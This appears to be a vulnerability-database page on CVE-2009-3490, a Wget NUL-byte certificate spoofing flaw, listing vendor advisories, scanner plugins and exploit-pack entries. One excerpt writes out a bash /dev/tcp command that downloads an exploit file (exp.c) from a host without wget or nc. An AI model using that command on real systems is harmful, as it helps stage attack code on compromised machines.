CVE-2009-3490

GNU Wget before 1.12 does not properly handle a '\0' character in a domain name in the Common Name field of an X.509 certificate, which allows man-in-the-middle remote attackers to spoof arbitrary SSL servers via a crafted certificate issued by a legitimate Certification Authority, a related issu...

Design/Logic Flaw

GNU Wget before 1.12 does not properly handle a '\0' character in a domain name in the Common Name field of an X.509 certificate, which allows man-in-the-middle remote attackers to spoof arbitrary SSL servers via a crafted certificate issued by a legitimate Certification Authority, a related issu...

CVE-2009-3490

GNU Wget before 1.12 does not properly handle a '\0' character in a domain name in the Common Name field of an X.509 certificate, which allows man-in-the-middle remote attackers to spoof arbitrary SSL servers via a crafted certificate issued by a legitimate Certification Authority, a related issu...

CVE-2009-3490

CVE-2009-3490 : GNU Wget

CVE-2009-3490

GNU Wget before 1.12 does not properly handle a '\0' character in a domain name in the Common Name field of an X.509 certificate, which allows man-in-the-middle remote attackers to spoof arbitrary SSL servers via a crafted certificate issued by a legitimate Certification Authority, a related issu...

SuSE 10 Security Update : wget (ZYPP Patch Number 6426)

This update wget improves the handling of the 0-character in the subject name of a SSL certificate. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc. include'deprecatednasllevel.inc'; include'compat.inc'; if description scriptid41598;...

SuSE9 Security Update : wget (YOU Patch Number 11090)

This update fixes a security bug in wget, where evil servers could send terminal escape codes to the user calling wget. This would only affect interactive sessions. CVE-2004-1488 Additionally a previous '.file' fix was found to be buggy and replaced. This bug could lead to '.directories' not bein...

SuSE 11 Security Update : wget (SAT Patch Number 1197)

This update wget improves the handling of the 0-character in the subject name of a SSL certificate. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from SuSE 11 update information. The text itself is copyright C Novell, In...

Wget NULL字符SSL证书验证安全绕过漏洞

Bugraq ID: 36205 Wget是一款命令行的下载工具。 Wget处理部分字段中包含NULL '\0'字符的SSL证书时存在错误，攻击者可以利用漏洞伪造恶意SSL证书，并替代合法证书，诱使WGET用户访问，进行中间人等攻击，导致敏感信息泄漏。 GNU wget 1.11.4 GNU wget 1.10.2 GNU wget 1.10.1 GNU wget 1.10 GNU wget 1.9.1 GNU wget 1.9 GNU wget 1.8.2 GNU wget 1.8.1 GNU wget 1.8 GNU wget 1.7.1 GNU wget 1.7 GNU wget...

Mandrake Security Advisory MDVSA-2009:206 (wget)

The remote host is missing an update to wget announced via advisory MDVSA-2009:206. OpenVAS Vulnerability Test $Id: mdksa2009206.nasl 6573 2017-07-06 13:10:50Z cfischer $ Description: Auto-generated from advisory MDVSA-2009:206 wget Authors: Thomas Reinke Copyright: Copyright c 2009 E-Soft Inc...

Mandrake Security Advisory MDVSA-2009:206 (wget)

The remote host is missing an update to wget announced via advisory MDVSA-2009:206. SPDX-FileCopyrightText: 2009 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only OR...

openSUSE Security Update : wget (wget-1198)

This update wget improves the handling of the 0-character in the subject name of a SSL certificate. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from openSUSE Security Update wget-1198. The text description of this plug...

Mandriva Linux Security Advisory : wget (MDVSA-2009:206-1)

A vulnerability has been found and corrected in wget : GNU Wget before 1.12 does not properly handle a '' NUL character in a domain name in the Common Name field of an X.509 certificate, which allows man-in-the-middle remote attackers to spoof arbitrary SSL servers via a crafted certificate issue...

No wget,and nc, download file a trick-vulnerability warning-the black bar safety net

Suppose you want to download exec 5/dev/tcp/192.168.182.1/8 0 &&echo-e "GET /exp. c HTTP/1.0\n" &5 && cat&5 exp. c Of course, the http header you have to yourself remove the Of course, you use nc-l-p 8 0 exp. c it is not so troublesome...

Immunity Canvas: NAGIOS_PING

Name| nagiosping ---|--- CVE| CVE-2009-2288 Exploit Pack| CANVAS Description| nagiosping Notes| CVE Name: CVE-2009-2288 VENDOR: http://www.nagios.org/ CVEUrl: https://vulners.com/cve/CVE-2009-2288 Notes: statuswml.cgi in Nagios before 3.1.1 allows remote attackers to execute arbitrary commands vi...

Mandriva Update for wget MDKSA-2007:017 (wget)

Check for the Version of wget OpenVAS Vulnerability Test Mandriva Update for wget MDKSA-2007:017 wget Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under the ter...

Addonics NAS Adapter Post-Auth Denial of Service Exploit

Exploit for hardware platform in category dos / poc ======================================================== Addonics NAS Adapter Post-Auth Denial of Service Exploit ======================================================== !/bin/bash Addonics NAS Adapter Post-Auth DoS Tested against R3282-1.33c...

Fedora Update for wget FEDORA-2007-043

Check for the Version of wget OpenVAS Vulnerability Test Fedora Update for wget FEDORA-2007-043 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under the terms of...

Fedora Update for wget FEDORA-2007-037

Check for the Version of wget OpenVAS Vulnerability Test Fedora Update for wget FEDORA-2007-037 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under the terms of...

Fedora Update for wget FEDORA-2007-037

The remote host is missing an update for the SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription scriptxrefname:"URL",...